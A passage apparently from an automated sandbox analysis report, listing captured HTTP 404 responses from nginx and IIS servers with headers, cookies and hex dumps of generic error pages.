3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 64 65 73 63 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 09 09 2f 2a 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 09 09 09 6c 65 66 74 3a 20 30 3b 0a 09 09 09 09 62 6f 74 74 6f 6d 3a 20 33 32 70 78 3b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 20 2a 2f 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 66 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 20 Nov 2024 15:54:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2B827006D5FA5D2A668DF1F10DD85BD93FC0BBDD41A6C8C715597A37B800Set-Cookie: _csrf=6963693ee978f7dbcf6789af428e22034f771aa8755334f418a640c97d4b0001a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22Wbx2eb7MF_6Z_AlYJ8nKV6VYQRuXr8sy%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 52 37 74 70 2d 6f 73 63 50 47 33 44 34 70 70 6b 47 37 4b 71 63 77 4f 58 62 5f 48 30 36 7a 69 68 77 6b 36 58 64 6f 67 42 34 30 73 51 32 52 48 49 37 6e 34 4c 49 49 57 39 72 44 35 45 38 38 59 71 53 61 38 42 75 71 4c 64 62 76 69 54 48 4f 49 75 2d 6a 6d 51 4d 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 20 Nov 2024 15:54:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2B75C737181E93405B8B6E7D403579FA221C236A49ABA5DB34E05FC7A000Set-Cookie: _csrf=0aedfcd0a726c28ce4593cd026a05c19164dc103a2daf8dad6c6579bc87ae7a8a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22-zILHEb-FCz4YVLUD1zZFDXRE4cDKPb7%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 6b 49 67 47 39 38 41 5f 59 66 35 41 6f 6b 33 6c 57 45 54 76 61 37 59 5a 55 5a 31 6c 72 7a 50 65 7a 44 79 61 4a 4b 36 56 7a 64 71 39 38 6b 2d 37 69 48 6f 44 30 77 62 68 4e 39 45 42 45 71 4d 2d 38 69 67 72 78 79 50 72 61 34 79 4a 43 50 6c 67 35 63 57 76 37 51 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 20 Nov 2024 15:54:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2BB4D9C1893174E3A86C5B2AFB2C366A92626823D50195A73132817DB500Set-Cookie: _csrf=1dc6e3e4752f1f5082c624de0e81e29f08d017db963d6af5630ae806ab97175fa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22AR96HRKOhNqODEGFZ5tSKAZZk2ZA1DHS%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 43 67 38 47 37 78 4c 50 71 6d 4e 45 4f 42 69 38 74 48 68 58 58 33 4d 68 59 38 37 4e 58 78 4e 37 45 6a 56 38 36 51 41 76 30 35 31 65 67 55 74 39 42 6c 31 35 75 56 65 6b 53 32 32 6c 4b 59 62 4a 5f 6e 78 33 48 42 30 4a 68 65 48 65 6f 2d 79 6c 55 54 33 48 51 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 20 Nov 2024 15:54:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2BF3C869D8A38C0AD14EBD5F51889EF053DE6C9A48D7104F63C9051A1100Set-Cookie: _csrf=16f98d3123ce523e4b6654e1ce653129825bbe36aabd52dd62556e36999a4286a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22X0A_Klrpmg-h2YkptVVKLhKE1qKyXIJj%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 68 4b 56 4c 66 34 4c 35 35 70 65 55 46 36 36 62 58 46 43 64 69 33 33 58 4e 34 6a 6d 72 63 32 75 63 32 2d 57 30 50 62 77 74 71 6a 63 6c 51 6f 67 79 5a 57 55 35 5f 6c 77 67 5f 4e 75 43 66 62 37 43 59 46 68 77 36 72 46 68 75 74 43 48 74 32 70 72 72 6e 38 77 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Frame-Options: SAMEORIGINDate: Wed, 20 Nov 2024 15:55:28 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Frame-Options: SAMEORIGINDate: Wed, 20 Nov 2024 15:55:32 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Frame-Options: SAMEORIGINDate: Wed, 20 Nov 2024 15:55:34 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 